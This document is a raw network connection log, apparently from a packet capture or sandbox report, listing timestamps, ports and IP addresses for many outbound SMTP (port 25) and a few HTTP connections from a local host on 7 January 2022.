Jan 7, 2022 15:43:02.458091974 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.462863922 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:02.462960005 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:02.489846945 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:02.489968061 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:02.490118027 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:02.490153074 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:02.490169048 CET	49786	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:43:02.498507023 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.529906988 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.530056000 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.582803011 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.590493917 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.590639114 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.603672981 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.603784084 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.629756927 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.629894018 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.659329891 CET	25	49786	67.195.228.106	192.168.2.6
Jan 7, 2022 15:43:02.661092043 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.661514997 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.661636114 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.695020914 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.721924067 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.722243071 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.722367048 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.738701105 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.738825083 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.759653091 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.760251999 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.760385036 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.762258053 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.762378931 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.792704105 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.793750048 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.793873072 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.794015884 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.794090033 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.794102907 CET	49790	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.815567970 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.815684080 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.815696955 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.826781034 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.826874971 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.836561918 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.837356091 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.837486982 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.837718964 CET	25	49794	195.3.96.71	192.168.2.6
Jan 7, 2022 15:43:02.837790966 CET	49794	25	192.168.2.6	195.3.96.71
Jan 7, 2022 15:43:02.853571892 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.854675055 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.854780912 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.854813099 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.854998112 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.855138063 CET	49791	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.893584013 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.893937111 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.894041061 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.899622917 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:02.925014973 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.925077915 CET	25	49790	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.961385012 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.961707115 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.965029955 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.965126991 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:02.986124039 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:02.986169100 CET	25	49791	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.025218010 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.026369095 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.026559114 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.026638031 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.026668072 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.026675940 CET	49793	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.030612946 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.031416893 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:03.078732967 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.093518972 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.094748974 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.095499039 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.157866955 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.157916069 CET	25	49793	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.163532019 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.164316893 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:03.210053921 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:03.210252047 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.216470003 CET	49771	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:03.223818064 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.224273920 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.225095987 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.295347929 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.295806885 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.295932055 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:03.319792986 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.327776909 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.353533983 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.354604959 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.354753017 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.354785919 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.354792118 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.354847908 CET	49796	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.373253107 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:03.373606920 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.426891088 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.427850008 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.428102016 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.428395033 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:03.428432941 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:03.428437948 CET	49797	25	192.168.2.6	104.47.73.33
Jan 7, 2022 15:43:03.459569931 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.461709023 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.461853981 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.462032080 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.462112904 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.462131023 CET	49795	25	192.168.2.6	104.47.56.33
Jan 7, 2022 15:43:03.483124018 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.483146906 CET	25	49796	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.504784107 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:03.504834890 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:03.505006075 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.559385061 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.559425116 CET	25	49797	104.47.73.33	192.168.2.6
Jan 7, 2022 15:43:03.593609095 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.593657017 CET	25	49795	104.47.56.33	192.168.2.6
Jan 7, 2022 15:43:03.636796951 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:03.636930943 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:03.637017012 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.637054920 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.637062073 CET	49798	25	192.168.2.6	98.136.96.93
Jan 7, 2022 15:43:03.669828892 CET	49774	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:03.763375998 CET	49776	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:43:03.768367052 CET	25	49798	98.136.96.93	192.168.2.6
Jan 7, 2022 15:43:04.471120119 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:04.534296036 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.534436941 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.576575994 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.578011990 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.578149080 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.616204977 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:04.616421938 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.620474100 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.661408901 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:04.661550045 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:04.676925898 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:04.677412033 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.718489885 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.718648911 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.732215881 CET	49758	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:04.738003969 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:04.738137960 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.760977030 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.819928885 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:04.820152998 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.820406914 CET	49801	25	192.168.2.6	193.239.71.112
Jan 7, 2022 15:43:04.820410013 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.842127085 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.842257023 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.842297077 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.843766928 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:04.878645897 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:04.878788948 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:04.880667925 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:04.880714893 CET	25	49766	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:04.880781889 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.880820990 CET	49766	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:04.884203911 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.884505987 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.884548903 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.884573936 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.884608030 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.885756016 CET	25	49792	91.136.8.41	192.168.2.6
Jan 7, 2022 15:43:04.885792971 CET	25	49802	91.136.8.46	192.168.2.6
Jan 7, 2022 15:43:04.885819912 CET	49792	25	192.168.2.6	91.136.8.41
Jan 7, 2022 15:43:04.885889053 CET	49802	25	192.168.2.6	91.136.8.46
Jan 7, 2022 15:43:05.068636894 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.103769064 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.103926897 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:05.333605051 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.350970030 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.351138115 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:05.542098999 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.548535109 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.548650026 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:05.777512074 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.810247898 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:05.810503006 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:05.811093092 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.000804901 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.000977993 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.001111984 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.001705885 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.001734018 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.001754999 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.001825094 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.001878023 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.191099882 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191157103 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191174030 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191190004 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191287994 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.191365957 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.191422939 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191442013 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191510916 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191514015 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.191591978 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191668034 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191668987 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.191684961 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191729069 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.191854000 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.192002058 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.192039013 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381139040 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381191969 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381238937 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381284952 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381326914 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381352901 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381371975 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381397963 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381417036 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381422043 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381434917 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381445885 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381463051 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381489992 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381586075 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381639004 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381685972 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381691933 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381720066 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381731033 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381731987 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381773949 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381792068 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.381903887 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.381975889 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382025003 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382065058 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.382069111 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382117033 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382128954 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.382148981 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.382163048 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382210970 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382256985 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.382261038 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.382286072 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.382316113 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.492505074 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.493937016 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.554565907 CET	25	49784	213.186.119.6	192.168.2.6
Jan 7, 2022 15:43:06.555546045 CET	49784	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:43:06.572132111 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572160006 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572173119 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572326899 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572416067 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572484970 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572571993 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572601080 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572613001 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572629929 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572695017 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572701931 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572721004 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572760105 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572784901 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572788000 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572798014 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572810888 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572823048 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572834969 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572884083 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572956085 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.572958946 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572985888 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.572994947 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573038101 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573071957 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573077917 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573107958 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573195934 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573199987 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573220015 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573226929 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573236942 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573280096 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573309898 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573311090 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573343039 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573384047 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573384047 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573483944 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573501110 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573514938 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573586941 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573605061 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573625088 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573631048 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573643923 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573681116 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573690891 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573714018 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573733091 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573755980 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573781013 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573793888 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573827028 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573827028 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573873997 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.573955059 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.573957920 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574084997 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574103117 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574148893 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574167013 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574192047 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574217081 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574225903 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574260950 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574264050 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574307919 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574320078 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574424028 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574446917 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574467897 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574507952 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574572086 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574609995 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574628115 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574666023 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574681044 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574692011 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574719906 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574759007 CET	49800	25	192.168.2.6	148.163.149.218
Jan 7, 2022 15:43:06.574765921 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574836969 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574881077 CET	25	49800	148.163.149.218	192.168.2.6
Jan 7, 2022 15:43:06.574898958 CET	49800	25	192.168.2.6	148.163.149.218
